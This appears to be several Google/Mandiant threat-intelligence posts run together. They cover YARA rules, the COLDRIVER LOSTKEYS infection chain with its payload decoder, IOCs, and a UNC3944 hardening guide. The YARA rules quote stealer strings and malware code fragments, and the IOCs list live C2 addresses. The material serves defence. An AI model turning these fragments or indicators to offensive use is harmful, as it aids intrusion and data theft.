2025-01-20

canvadreamlab[.]com

2025-01-25

adobe-express[.]com

2025-02-08

canva-dreamlab[.]com

2025-02-12

canvadreamlab[.]ai

2025-02-14

canvaproai[.]com

2025-02-17

capcutproai[.]com

2025-02-22

luma-aidream[.]com

2025-02-27

luma-dreammachine[.]com

2025-03-07

YARA Rules rule G_Dropper_COILHATCH_1 { meta: author = "Mandiant" strings: $i1 = "zlib.decompress" ascii wide $i2 = "rc4" ascii wide $i3 = "aes_decrypt" ascii wide $i4 = "xor" ascii wide $i5 = "rsa_decrypt" ascii wide $r1 = "private_key" ascii wide $r2 = "runner" ascii wide $r3 = "marshal" ascii wide $r4 = "marshal.loads" ascii wide $r5 = "b85decode" ascii wide $r6 = "exceute_func" ascii wide $r7 = "hybrid_decrypt" ascii wide condition: (4 of ($i*)) and all of ($r*) } rule G_Dropper_STARKVEIL_1 { meta: author = "Mandiant" strings: $p00_0 = { 56 57 53 48 83 EC ?? 48 8D AA [4] 48 8B 7D ?? 48 8B 4F ?? FF 15 [4] 48 89 F9 } $p00_1 = { 0F 0B 66 0F 1F 84 00 [4] 48 89 54 24 ?? 55 41 56 56 57 53 48 83 EC } condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (($p00_0 in (48000 .. 59000) and $p00_1 in (100000 .. 120000))) } import "dotnet" rule G_Downloader_GRIMPULL_1 { meta: author = "Mandiant" strings: $str1 = "SbieDll.dll" ascii wide $str2 = "cuckoomon.dll" ascii wide $str3 = "vmGuestLib.dll" ascii wide $str4 = "select * from Win32_BIOS" ascii wide $str5 = "VMware|VIRTUAL|A M I|Xen" ascii wide $str6 = "Microsoft|VMWare|Virtual" ascii wide $str7 = "win32_process.handle='{0}'" ascii wide $str8 = "stealer" ascii wide $code = { 11 20 11 0F 11 20 11 0F 91 11 1A 11 0F 91 61 D2 9C } condition: dotnet.is_dotnet and all of them } rule G_Backdoor_FROSTRIFT_1 { meta: author = "Mandiant" strings: $guid = "$23e83ead-ecb2-418f-9450-813fb7da66b8" $r1 = "IdentifiableDecryptor.DecryptorStack" $r2 = "$ProtoBuf.Explorers.ExplorerDecryptor" $s1 = "\\User Data\\" wide $s2 = "SELECT * FROM AntiVirusProduct" wide $s3 = "Telegram.exe" wide $s4 = "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')" wide $s5 = "Litecoin-Qt" wide $s6 = "Bitcoin-Qt" wide condition: uint16(0) == 0x5a4d and (all of ($s*) or $guid or all of ($r*)) } YARA-L Rules

Mandiant has made the relevant rules available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set. The activity discussed in the blog post is detected under the rule names:

• Suspicious Binary File Execution - MP4 Masquerade

• Suspicious Binary File Execution - Double Extension and Braille Pattern Blank Masquerade

• Python Script Deobfuscation - Base85 ZLib Marshal

• Suspicious Staging Directory WinSystem

• DLL Search Order Hijacking AVCodec61

• DLL Search Order Hijacking HEIF

• DLL Search Order Hijacking Libde265

Written by: Wesley Shields

Google Threat Intelligence Group (GTIG) has identified a new piece of malware called LOSTKEYS, attributed to the Russian government-backed threat group COLDRIVER (also known as UNC4057, Star Blizzard, and Callisto). LOSTKEYS is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker. Observed in January, March, and April 2025, LOSTKEYS marks a new development in the toolset of COLDRIVER, a group primarily known for credential phishing against high-profile targets like NATO governments, non-governmental organizations (NGOs), and former intelligence and diplomatic officers. GTIG has been tracking COLDRIVER for many years, including their SPICA malware in 2024.

COLDRIVER typically targets high-profile individuals at their personal email addresses or at NGO addresses. They are known for stealing credentials and after gaining access to a target’s account they exfiltrate emails and steal contact lists from the compromised account. In select cases, COLDRIVER also delivers malware to target devices and may attempt to access files on the system.

Recent targets in COLDRIVER’s campaigns have included current and former advisors to Western governments and militaries, as well as journalists, think tanks, and NGOs. The group has also continued targeting individuals connected to Ukraine. We believe the primary goal of COLDRIVER’s operations is intelligence collection in support of Russia’s strategic interests. In a small number of cases, the group has been linked to hack-and-leak campaigns targeting officials in the UK and an NGO.

To safeguard at-risk users, we use our research on serious threat actors like COLDRIVER to improve the safety and security of Google’s products. We encourage potential targets to enroll in Google's Advanced Protection Program, enable Enhanced Safe Browsing for Chrome, and ensure that all devices are updated.

Stage 1 — It Starts With A Fake CAPTCHA

LOSTKEYS is delivered at the end of a multi-step infection chain that starts with a lure website with a fake CAPTCHA on it. Once the CAPTCHA has been “verified,” PowerShell is copied to the users clipboard and the page prompts the user to execute the PowerShell via the “run” prompt in Windows:

The first stage PowerShell that is pasted in will fetch and execute the second stage. In multiple observed cases, the second stage was retrieved from 165.227.148[.]68.

COLDRIVER is not the only threat actor to deliver malware by socially engineering their targets to copy, paste, and then execute PowerShell commands—a technique commonly called “ClickFix.” We have observed multiple APT and financially motivated actors use this technique, which has also been widely reported publicly. Users should exercise caution when encountering a site that prompts them to exit the browser and run commands on their device, and enterprise policies should implement least privilege and disallow users from executing scripts by default.

Stage 2 — Device Evasion

The second stage calculates the MD5 hash of the display resolution of the device and if the MD5 is one of three specific values it will stop execution, otherwise it will retrieve the third stage. This step is likely done to evade execution in VMs. Each observed instance of this chain uses different, unique identifiers that must be present in the request to retrieve the next stage. In all observed instances the third stage is retrieved from the same host as the previous stages.

Stage 3 — Retrieval of the Final Payload

The third stage is a Base64-encoded blob, which decodes to more PowerShell. This stage retrieves and decodes the final payload. To do this it pulls down two more files, from the same host as the others, and again using different unique identifiers per infection chain.

The first is a Visual Basic Script (VBS) file, which we call the “decoder” that is responsible for decoding the second one. The decoding process uses two keys, which are unique per infection chain. The decoder has one of the unique keys and the second key is stored in stage 3. The keys are used in a substitution cipher on the encoded blob, and are unique to each infection chain. A Python script to decode the final payload is:

# Args: encoded_file Ah90pE3b 4z7Klx1V import base64 import sys if len(sys.argv) != 4: print("Usage: decode.py file key1 key2") sys.exit(1) if len(sys.argv[2]) != len(sys.argv[3]): print("Keys must be the same length") sys.exit(1) with open(sys.argv[1], 'r') as f: data = f.read() x = sys.argv[2] y = sys.argv[3] for i in range(len(x)): data = data.replace(x[i], '!').replace(y[i], x[i]).replace('!', y[i]) with open(sys.argv[1] + '.out', 'wb') as f: f.write(base64.b64decode(data)) The Final Payload (LOSTKEYS)

The end result of this is a VBS that we call LOSTKEYS. It is a piece of malware that is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker. The typical behavior of COLDRIVER is to steal credentials and then use them to steal emails and contacts from the target, but as we have previously documented they will also deploy malware called SPICA to select targets if they want to access documents on the target system. LOSTKEYS is designed to achieve a similar goal and is only deployed in highly selective cases.

A Link To December 2023

As part of the investigation into this activity, we discovered two additional samples, hashes of which are available in the Indicators of Compromise section, dating back as early as December 2023. In each case, the samples end up executing LOSTKEYS but are distinctly different from the execution chain mentioned here in that they are Portable Executable (PE) files pretending to be related to the software package Maltego.

It is currently unclear if these samples from December 2023 are related to COLDRIVER, or if the malware was repurposed from a different developer or operation into the activity seen starting in January 2025.

Protecting the Community

As part of our efforts to combat threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified malicious websites, domains and files are added to Safe Browsing to protect users from further exploitation. We also send targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.

We are committed to sharing our findings with the security community to raise awareness and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Indicators of compromise (IOCs) and YARA rules are included in this post, and are also available as a GTI collection and rule pack. 

YARA Rules rule LOSTKEYS__Strings { meta: author = "Google Threat Intelligence" description = "wscript that steals documents and becaons system information out to a hardcoded address" hash = "28a0596b9c62b7b7aca9cac2a07b067109f27d327581a60e8cb4fab92f8f4fa9" strings: $rep0 = "my_str = replace(my_str,a1,\"!\" )" $rep1 = "my_str = replace(my_str,b1 ,a1 )" $rep2 = "my_str = replace(my_str,\"!\" ,b1 )" $mid0 = "a1 = Mid(ch_a,ina+1,1)" $mid1 = "b1 = Mid(ch_b,ina+1,1)" $req0 = "ReqStr = base64encode( z & \";\" & ws.ExpandEnvironmentStrings(\"%COMPUTERNAME%\") & \";\" & ws.ExpandEnvironmentStrings(\"%USERNAME%\") & \";\" & fso.GetDrive(\"C:\\\").SerialNumber)" $req1 = "ReqStr = Chain(ReqStr,\"=+/\",\",-_\")" $cap0 = "CapIN \"systeminfo > \"\"\" & TmpF & \"\"\"\", 1, True" $cap1 = "CapIN \"ipconfig /all >> \"\"\" & TmpF & \"\"\"\", 1, True" $cap2 = "CapIN \"net view >> \"\"\" & TmpF & \"\"\"\", 1, True" $cap3 = "CapIN \"tasklist >> \"\"\" & TmpF & \"\"\"\", 1, True" condition: all of ($rep*) or all of ($mid*) or all of ($req*) or all of ($cap*) } Indicators of Compromise

IOC

Notes

13f7599c94b9d4b028ce02397717a128
2a46f07b9d3e2f8f2b3213fa8884b029

Stage 1 - Fake CAPTCHA page, loads PowerShell to clipboard

4c7accba35edd646584bb5a40ab78f96
3de45e5fc816e62022cd7ab1b01dae9c

Stage 2: Device evasion and stage 3 loader

6b85d707c23d68f9518e757cc97adb20
adc8accb33d0d68faf1d8d56d7840816

Stage 3: Retrieve and decode final payload, contains key “Ah90pE3b”

3233668d2e4a80b17e6357177b53539d
f659e55e06ba49777d0d5171f27565dd

Decoder script, contains key “4z7Klx1V”

6bc411d562456079a8f1e38f3473c33a
de73b08c7518861699e9863540b64f9a

Final payload, encoded

28a0596b9c62b7b7aca9cac2a07b0671
09f27d327581a60e8cb4fab92f8f4fa9

Final payload, decoded

165.227.148[.]68

C2

cloudmediaportal[.]com

C2

b55cdce773bc77ee46b503dbd9430828
cc0f518b94289fbfa70b5fbb02ab1847

Binary that executes LOSTKEYS from December 2023

02ce477a07681ee1671c7164c9cc847b
01c2e1cd50e709f7e861eaab89c69b6f

Binary that executes LOSTKEYS from December 2023

8af28bb7e8e2f663d4b797bf3ddbee7f
0a33f637a33df9b31fbb4c1ce71b2fee

LOSTKEYS from December 2023

njala[.]dev

C2 from December 2023

80.66.88[.]67

C2 from December 2023

Background

UNC3944, which overlaps with public reporting on Scattered Spider, is a financially-motivated threat actor characterized by its persistent use of social engineering and brazen communications with victims. In early operations, UNC3944 largely targeted telecommunications-related organizations to support SIM swap operations. However, after shifting to ransomware and data theft extortion in early 2023, they impacted organizations in a broader range of industries. Since then, we have regularly observed UNC3944 conduct waves of targeting against a specific sector, such as financial services organizations in late 2023 and food services in May 2024. Notably, UNC3944 has also previously targeted prominent brands, possibly in an attempt to gain prestige and increased attention by news media.

Google Threat Intelligence Group (GTIG) observed a decline in UNC3944 activity after 2024 law enforcement actions against individuals allegedly associated with the group. Threat actors will often temporarily halt or significantly curtail operations after an arrest, possibly to reduce law enforcement attention, rebuild capabilities and/or partnerships, or shift to new tooling to evade detection. UNC3944’s existing ties to a broader community of threat actors could potentially help them recover from law enforcement actions more quickly.

Recent public reporting has suggested that threat actors used tactics consistent with Scattered Spider to target a UK retail organization and deploy DragonForce ransomware. Subsequent reporting by BBC News indicates that actors associated with DragonForce claimed responsibility for attempted attacks at multiple UK retailers. Notably, the operators of DragonForce ransomware recently claimed control of RansomHub, a ransomware-as-a-service (RaaS) that seemingly ceased operations in March of this year. UNC3944 was a RansomHub affiliate in 2024, after the ALPHV (aka Blackcat) RaaS shut down. While GTIG has not independently confirmed the involvement of UNC3944 or the DragonForce RaaS, over the past few years, retail organizations have been increasingly posted on tracked data leak sites (DLS) used by extortion actors to pressure victims and/or leak stolen victim data. Retail organizations accounted for 11 percent of DLS victims in 2025 thus far, up from about 8.5 percent in 2024 and 6 percent in 2022 and 2023. It is plausible that threat actors including UNC3944 view retail organizations as attractive targets, given that they typically possess large quantities of personally identifiable information (PII) and financial data. Further, these companies may be more likely to pay a ransom demand if a ransomware attack impacts their ability to process financial transactions.

UNC3944 global targeting map

We have observed the following patterns in UNC3944 victimology:

• Targeted Sectors: The group targets a wide range of sectors, with a notable focus on Technology, Telecommunications, Financial Services, Business Process Outsourcing (BPO), Gaming, Hospitality, Retail, and Media & Entertainment organizations.

• Geographical Focus: Targets are primarily located in English-speaking countries, including the United States, Canada, the United Kingdom, and Australia. More recent campaigns have also included targets in Singapore and India.

• Victim Organization Size: UNC3944 often targets large enterprise organizations, likely due to the potential for higher impact and ransom demands. They specifically target organizations with large help desk and outsourced IT functions which are susceptible to their social engineering tactics.

A high-level overview of UNC3944 tactics, techniques and procedures (TTPs) are noted in the following figure.

UNC3944 attack lifecycle

Proactive Hardening Recommendations

The following provides prioritized recommendations to protect against tactics utilized by UNC3944, organized within the pillars of:

• Identity

• Endpoints

• Applications and Resources

• Network Infrastructure

• Monitoring / Detections

While implementing the full suite of the recommendations in this guide will generally have some impact on IT and normal operations, Mandiant’s extensive experience supporting organizations to defend against, contain, and eradicate UNC3944 has shown that an effective starting point involves prioritizing specific areas. Organizations should begin by focusing on recommendations that: 

• Achieve complete visibility across all infrastructure, identity, and critical management services.

• Ensure the segregation of identities throughout the infrastructure.

• Enhance strong authentication criteria.

• Enforce rigorous identity controls for password resets and multi-factor authentication (MFA) registration.

• Educate and communicate the importance of remaining vigilant against modern-day social engineering attacks / campaigns (see Social Engineering Awareness section later in this post). UNC3944 campaigns not only target end-users, but also IT and administrative personnel within enterprise environments.

These serve as critical foundational measures upon which other recommendations in this guide can be built.

Google SecOps customers benefit from existing protections that actively detect and alert on UNC3944 activity.

Identity Positive Identify Verification

UNC3944 has proven to be very prolific in using social engineering techniques to impersonate users when contacting the help desk. Therefore, further securing the “positive identity” process is critical. 

• Train help desk personnel to positively identify employees before modifying / providing security information (including initial enrollment). At a minimum, this process should be required for any privileged accounts and should include methods such as:

• On-Camera / In-Person verification

• ID Verification

• Challenge / Response questions

• If a suspected compromise is imminent or has occurred, temporarily disable or enhance validation for self-service password reset methods. Any account management activities should require a positive identity verification as the first step. Additionally, employees should be required to authenticate using strong authentication PRIOR to changing authentication methods (e.g., adding a new MFA device). Additionally, implement use of:

• Trusted Locations

• Notification of authentication / security changes 

• Out-of-band verification for high-risk changes. For example, require a call-back to a registered number or confirmation via a known corporate email before proceeding with any sensitive request.

• Avoid reliance on publicly available personal data for verification (e.g., DOB, last 4 SSN) as UNC3944 often possesses this information. Use internal-only knowledge or real-time presence verification when possible.

• Temporarily disable self-service MFA resets during elevated threat periods, and route all such changes through manual help desk workflows with enhanced scrutiny.

Strong Authentication

To prevent against social engineering or other methods used to bypass authentication controls:

• Remove SMS, phone call, and/or email as authentication controls.

• Utilize an authenticator app that requires phishing resistant MFA (e.g., number matching and/or geo-verification).

• If possible, transition to passwordless authentication.

• Leverage FIDO2 security keys for authenticating identities that are assigned privileged roles.

• Ensure administrative users cannot register or use legacy MFA methods, even if those are permitted for lower-tier users. 

• Enforce multi-context criteria to enrich the authentication transaction. Examples include not only validating the identity, but also specific device and location attributes as part of the authentication transaction.

• For organizations that leverage Google Workspace, these concepts can be enforced by using context-aware access policies.

• For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using a Conditional Access Policy.

MFA Registration and Modification

To prevent compromised credentials from being leveraged for modifying and registering an attacker-controlled MFA method:

• Review authentication methods available for user registration and disallow any unnecessary or duplicative methods. 

• Restrict MFA registration and modification actions to only be permissible from trusted IP locations and based upon device compliance. For organizations that leverage Microsoft Entra ID, this can be accomplished using a Conditional Access Policy.

• If a suspected compromise has occurred, MFA re-registration may be required. This action should only be permissible from corporate locations and/or trusted IP locations.

• Review specific IP locations that can bypass the requirement for MFA. If using Microsoft Entra ID, these can be in Named Locations and the legacy Service Settings.

• Investigate and alert when the same MFA method or phone number is registered across multiple user accounts, which may indicate attacker-controlled device registration.

Administrative Roles

To prevent against privilege escalation and further access to an environment:

• For privileged access, decouple the organization's identity store (e.g., Active Directory) from infrastructure platforms, services, and cloud admin consoles. Organizations should create local administrator accounts (e.g., local VMware VCenter Admin account). Local administrator accounts should adhere to the following principles: 

• Created with long and complex passwords 

• Passwords should not be temporarily stored within the organization’s password management or vault solution 

• Enforcement of Multi-Factor Authentication (MFA)

• Restrict administrative portals to only be accessible from trusted locations and with privileged identities.

• Leverage just-in-time controls for leveraging (“checking out”) credentials associated with privileged actions. 

• Enforce access restrictions and boundaries that follow the principle of least-privilege for accessing and administering cloud resources.

• For organizations that leverage Google Cloud, these concepts can be enforced by using IAM deny or principle access boundary policies. 

• For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using Azure RBAC and Entra ID RBAC controls. 

• Enforce that privileged accounts are hardened to prevent exposure or usage on non-Tier 0 or non-PAW endpoints. 

Playbooks

Modern-day authentication is predicated on more than just a singular password. Therefore, organizations should ensure that processes and associated playbooks include steps to:

• Revoke tokens and access keys.

• Review MFA device registrations.

• Review changes to authentication requirements.

• Review newly enrolled devices and endpoints.

Endpoints Device Compliance and Validation

An authentication transaction should not only include strong requirements for identity verification, but also require that the device be authenticated and validated. Organizations should consider the ability to:

• Enforce posture checks for devices remotely connecting to an environment (e.g., via a VPN). Example posture checks for devices include: 

• Validating the installation of a required host-based certificate on each endpoint.

• Verifying that the endpoint operates on an approved Operating System (OS) and meets version requirements.

• Confirming the organization's Endpoint Detection and Response (EDR) agent is installed and actively running. Enforce EDR installation and monitoring for all managed endpoint devices.

Rogue / Unauthorized Endpoints

To prevent against threat actors leveraging rogue endpoints to access an environment, organizations should:

• Monitor for rogue bastion hosts or virtual machines that are either newly created or recently joined to a managed domain.

• Harden policies to restrict the ability to join devices to Entra or on-premises Active Directory.

• Review authentication logs for devices that contain default Windows host names.

Lateral Movement Hardening

To prevent against lateral movement using compromised credentials, organizations should:

• Limit the ability for local accounts to be used for remote (network-based) authentication.

• Disable or restrict local administrative and/or hidden shares from being remotely accessible.

• Enforce local firewall rules to block inbound SMB, RDP, WinRM, PowerShell, & WMI.

GPOs: User Rights Assignment Lockdown (Active Directory)

For domain-based privileged and service accounts, where possible, organizations should restrict the ability for accounts to be leveraged for remote authentication to endpoints. This can be accomplished using a Group Policy Object (GPO) configuration for the following user rights assignments:

• Deny log on locally 

• Deny log on through Remote Desktop Services

• Deny access to this computer from network 

• Deny log on as a batch

• Deny log on as a service

Applications and Resources Virtual Private Network (VPN) Access

Threat actors may attempt to change or disable VPN agents to limit network visibility by security teams. Therefore, organizations should:

• Disable the ability for end users to modify VPN agent configurations.

• Ensure appropriate logging when configuration changes are made to VPN agents.

• For managed devices, consider an “Always-On” VPN configuration to ensure continuous protection.

Privileged Access Management (PAM) Systems

To prevent against threat actors attempting to gain access to privileged access management (PAM) systems, organizations should:

• Isolate and enforce network and identity access restrictions for enterprise password managers or privileged access management (PAM) systems. This should also include leveraging dedicated and segmented servers / appliances for PAM systems, which are isolated from enterprise infrastructure and virtualization platforms.

• Reduce the scope of accounts that have access to PAM systems, in addition to requiring strong authentication (MFA).

• Enforce role-based access controls (RBAC) within PAM systems, restricting the scope of accounts that can be accessed (based upon an assigned role).

• Follow the principle of just-in-time (JIT) access for checking-out credentials stored in PAM systems. 

Virtualization Infrastructure

To prevent against threat actors attempting to gain access to virtualization infrastructure, organizations should:

• Isolate and restrict access to ESXi hosts / vCenter Server Appliances.

• Ensure that backups of virtual machines are isolated, secured and immutable if possible.

• Unbind the authentication for administrative access to virtualization platforms from the centralized identity provider (IdP). This includes individual ESXi hosts and vCenter Servers.

• Proactively rotate local root / administrative passwords for privileged identities associated with virtualization platforms.

• If possible use stronger MFA and bind to local SSO for all administrative access to virtualization infrastructure.

• Enforce randomized passwords for local root / administrative identities correlating to each virtualized host that is part of an aggregate pool.

• Disable / restrict SSH (shell) access to virtualization platforms.

• Enable lockdown mode on all ESXi hosts.

• Enhance monitoring to identify potential malicious / suspicious authentication attempts and activities associated with virtualization platforms.

Backup Infrastructure

To prevent against threat actors attempting to gain access to backup infrastructure and data, organizations should:

• Leverage unique and separate (non-identity provider integrated) credentials for accessing and managing backup infrastructure, in addition to the enforcement of MFA for the accounts.

• Ensure that backup servers are isolated from the production environment and reside within a dedicated network. To further protect backups, they should be within an immutable backup solution.

• Implement access controls that restrict inbound traffic and protocols for accessing administrative interfaces associated with backup infrastructure. 

• Periodically validate the protection and integrity of backups by simulating adversarial behaviors (red teaming).

Endpoint Security Management 

To prevent against threat actors weaponizing endpoint security and management technologies such as EDR and patch management tools, organizations should: 

• Segment administrative access to endpoint security tooling platforms.

• Reduce the scope of identities that have the ability to create, edit, or delete Group Policy Objects (GPOs) in on-premises Active Directory.

• If Intune is leveraged, enforce Intune access policies that require multi-administrator approval (MMA) to approve and enforce changes. 

• Monitor and review unauthorized access to EDR and patch management technologies. 

• Monitor script and application deployment on endpoints and systems using EDR and patch management technologies.

• Review and monitor “allow-listed” executables, processes, paths, and applications.

• Inventory installed applications on endpoints and review for potential unauthorized installations of remote access (RATs) and reconnaissance tools.

Cloud Resources

To prevent against threat actors leveraging access to cloud infrastructure for additional persistence and access, organizations should:

• Monitor and review cloud resource configurations to identify and investigate newly created resources, exposed services, or other unauthorized configurations. 

• Monitor cloud infrastructure for newly created or modified network security group (NSG) rules, firewall rules, or publicly exposed resources that can be remotely accessed.

• Monitor for the creation of programmatic keys and credentials (e.g., access keys).

Network Infrastructure Access Restrictions

To proactively identify exposed applications, ingress pathways, and to reduce the risk of unauthorized access, organizations should:

• Leverage vulnerability scanning to perform an external unauthenticated scan to identify publicly exposed domains, IPs, and CIDR IP ranges.

• Enforce strong authentication (e.g., phishing-resistant MFA) for accessing any applications and services that are publicly accessible. 

• For sensitive data and applications, enforce connectivity to cloud environments / SaaS applications to only be permissible from specific (trusted) IP ranges.

• Block TOR exit node and VPS IP ranges.

Network Segmentation

The terminology of “Trusted Service Infrastructure” (TSI) is typically associated with management interfaces for platforms and technologies that provide core services for an organization. Examples include:

• Asset and Patch Management Tools

• Network Management Tools and Devices

• Virtualization Platforms

• Backup Technologies

• Security Tooling

• Privileged Access Management Systems

To minimize the direct access and exposure of the management plane for TSI, organizations should:

• Restrict access to TSI to only originate from internal / hardened network segments or PAWs.

• Create detections focused on monitoring network traffic patterns for directly accessing TSI, and alert on anomalies or suspicious traffic.

Egress Restrictions

To restrict the ability for command-and-control and reduce the capabilities for mass data exfiltration, organizations should:

• Restrict egress communications from all servers. Organizations should prioritize enforcing egress restrictions from servers associated with TSI, Active Directory domain controllers, and crown jewel application and data servers.

• Block outbound traffic to malicious domain names, IP addresses, and domain names/addresses associated with remote access tools (RATs).

Monitoring / Detections Reconnaissance

Upon initial compromise, UNC3944 is known to search for documentation on topics such as: user provisioning, MFA and/or device registration, network diagrams, and shared credentials in documents or spreadsheets.

UNC3944 will also use network reconnaissance tools like ADRecon, ADExplorer, and SharpHound. Therefore, organizations should:

• Ensure any sites or portals that include these documents have access restrictions to only required accounts.

• Sweep for documents and spreadsheets that may contain shared credentials and remove them.

• Implement alerting rules on endpoints with EDR agents for possible execution of known reconnaissance tools.

• If utilizing an Identity monitoring solution, ensure detection rules are enabled and alerts are created for any reconnaissance and discovery detections.

• Implement an automated mechanism to continuously monitor domain registrations. Identify domains that mimic the organization's naming conventions, for instance: [YourOrganizationName]-helpdesk.com or [YourOrganizationName]-SSO.com.

MFA Registration

To further harden the MFA registration process, organizations should:

• Review logs to specifically identify events related to the registration or addition of new MFA devices or methods to include actions similar to:

• MFA device registered

• Authenticator app added

• Phone number added for MFA

• The same MFA device / method / phone number being associated with multiple users

• Verify the legitimacy of new registrations against expected user behavior and any onboarding or device enrollment records.

• Contact users if new registrations are detected to confirm if the activity is intentional.

Collaboration and Communication Platforms

To prevent against social engineering and/or unauthorized access or modifications to communication platforms, organizations should:

• Review organizational policies around communication tools such as Microsoft Teams. 

• Allow only trusted external domains for expected vendors and partners.

• If external domains cannot be blocked, create a baseline of trusted domains and alert on new domains that attempt to contact employees.

• Provide awareness training to employees and staff to directly contact the organization’s helpdesk if they receive suspicious calls or messages.

The following is a Microsoft Defender advanced hunting query example. The query is written to detect when an external account (attempting to impersonate the help desk) attempts to contact the organization’s users.

Note: The DisplayName field can be modified to include other relevant fields specific to the organization (such as “IT Support” or “ServiceDesk”).

CloudAppEvents | where Application == "Microsoft Teams" | where ActionType == "ChatCreated" | extend HasForeignTenantUsers = parse_json(RawEventData)["ParticipantInfo"]["HasForeignTenantUsers"] | extend DisplayName = parse_json(RawEventData)["Members"][0]["DisplayName"] | where IsExternalUser == 1 or HasForeignTenantUsers == 'true' | where DisplayName contains "help" or AccountDisplayName contains "help" or AccountId contains "help"

The following is a Google SecOps search query example.

Note: The DisplayName field can be modified to include other relevant fields specific to the organization (such as “IT Support” or “ServiceDesk”).

metadata.vendor_name = "Microsoft" metadata.product_name = "Office 365" metadata.product_event_type = "ChatCreated" security_result.detection_fields["ParticipantInfo_HasForeignTenantUsers"] = "true" ( principal.user.userid = /help/ OR principal.user.email_addresses = /help/ OR about.user.user_display_name = /help/ ) Identity Session Risk & Visibility

Detections should include:

• Authentication from infrequent locations - including from proxy and VPN service providers.

• Attempts made to change authentication methods or criteria.

• Monitoring and hunting for authentication anomalies based upon social engineering tactics.

Bypassing Multi-Factor Authentication

UNC3944 has been known to modify requirements for the use of Multi-factor Authentication. Therefore, organizations should:

• For Entra ID, monitor for modifications to any Trusted Named Locations that may be used to bypass the requirement for MFA.

• For Entra ID, monitor for changes to Conditional Access Policies that enforce MFA, specifically focusing on exclusions of compromised user accounts and/or devices for an associated policy.

• Ensure the SOC has visibility into token replay or suspicious device logins, aligning workflows that can trigger step-up (re)authentication when suspicious activity is detected.

Abuse of Domain Federation

For organizations that are using Microsoft Entra ID, monitor for possible abuse of Entra ID Identity Federation:

• Check domain names that are registered in the Entra ID tenant, paying particular attention to domains that are marked as Federated.

• Review the Federation configuration of these domains to ensure that they are correct.

• Monitor for creation of any new domains within the tenant and for changing the authentication method to be Federated.

• Abuse of Domain Federation requires the account accomplishing the changes to have administrative permissions in Entra ID. Hardening of all administrative accounts, portals, and programmatic access is imperative.

Social Engineering Awareness

UNC3944 is extremely proficient at using multiple forms of social engineering to convince users into doing something that will allow them to gain access. Organizations should educate users to be aware of and notify internal security teams of attempts that utilize the following tactics:

• SMS phishing messages that claim to be from IT requesting users to download and install software on their machine. These may include claims that the user’s machine is out-of-compliance or is failing to report to internal management systems.

• SMS messages or emails with links to sites that reference domain names that appear legitimate and reference SSO (single sign-on) and a variation of the company name. Messages may include text informing the user that they need to reset their password and/or MFA.

• Phone calls to users from IT with requests to reset a password and/or MFA - or requesting that the user provide a validated one time passcode (OTP) from their device. 

• SMS messages or emails with requests to be granted access to a particular system, particularly if the organization already has an established method for provisioning access.

• MFA fatigue attacks, where attackers may repeatedly send MFA push notifications to a victim’s device until the user unintentionally or out of frustration accepts one. Organizations should train users to reject unexpected MFA prompts and report such activity immediately.

• Impersonation via collaboration tools - UNC3944 has used platforms like Microsoft Teams to pose as internal IT support or service desk personnel. Organizations should train users to verify unusual chat messages and avoid sharing credentials or MFA codes over internal collaboration tools like Microsoft Teams. Limiting external domains and monitoring for impersonation attempts (e.g., usernames containing ‘helpdesk’ or ‘support’) is advised.

• In rare cases, attackers have used doxxing threats or aggressive language to scare users into compliance. Ensure employees understand this tactic and know that the organization will support them if they report these incidents.

Additional References

• Ransomware Protection and Containment Strategies: Practical Guidance for Hardening and Protecting Infrastructure, Identities and Endpoints
• UNC3944 Targets SaaS Applications
• Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety

Written by: Casey Charrier, James Sadowski, Clement Lecigne, Vlad Stolyarov

Executive Summary

Google Threat Intelligence Group (GTIG) tracked 75 zero-day vulnerabilities exploited in the wild in 2024, a decrease from the number we identified in 2023 (98 vulnerabilities), but still an increase from 2022 (63 vulnerabilities). We divided the reviewed vulnerabilities into two main categories: end-user platforms and products (e.g., mobile devices, operating systems, and browsers) and enterprise-focused technologies, such as security software and appliances. 

Vendors continue to drive improvements that make some zero-day exploitation harder, demonstrated by both dwindling numbers across multiple categories and reduced observed attacks against previously popular targets. At the same time, commercial surveillance vendors (CSVs) appear to be increasing their operational security practices, potentially leading to decreased attribution and detection.

We see zero-day exploitation targeting a greater number and wider variety of enterprise-specific technologies, although these technologies still remain a smaller proportion of overall exploitation when compared to end-user technologies. While the historic focus on the exploitation of popular end-user technologies and their users continues, the shift toward increased targeting of enterprise-focused products will require a wider and more diverse set of vendors to increase proactive security measures in order to reduce future zero-day exploitation attempts.

For a deeper look at the trends discussed in this report, along with recommendations for defenders, register for our upcoming zero-day webinar.

Scope 

This report describes what Google Threat Intelligence Group (GTIG) knows about zero-day exploitation in 2024. We discuss how targeted vendors and exploited products drive trends that reflect threat actor goals and shifting exploitation approaches, and then closely examine several examples of zero-day exploitation from 2024 that demonstrate how actors use both historic and novel techniques to exploit vulnerabilities in targeted products. The following content leverages original research conducted by GTIG, combined with breach investigation findings and reporting from reliable open sources, though we cannot independently confirm the reports of every source. Research in this space is dynamic and the numbers may adjust due to the ongoing discovery of past incidents through digital forensic investigations. The numbers presented here reflect our best understanding of current data.

GTIG defines a zero-day as a vulnerability that was maliciously exploited in the wild before a patch was made publicly available. GTIG acknowledges that the trends observed and discussed in this report are based on detected and disclosed zero-days. Our analysis represents exploitation tracked by GTIG but may not reflect all zero-day exploitation.

aside_block

<ListValue: [StructValue([('title', 'A 2024 Zero-Day Exploitation Analysis'), ('body', <wagtail.rich_text.RichText object at 0x3e8dae28b9d0>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/2024-zero-day-exploitation-analysis-en.pdf'), ('image', None)])]>

Key Takeaways

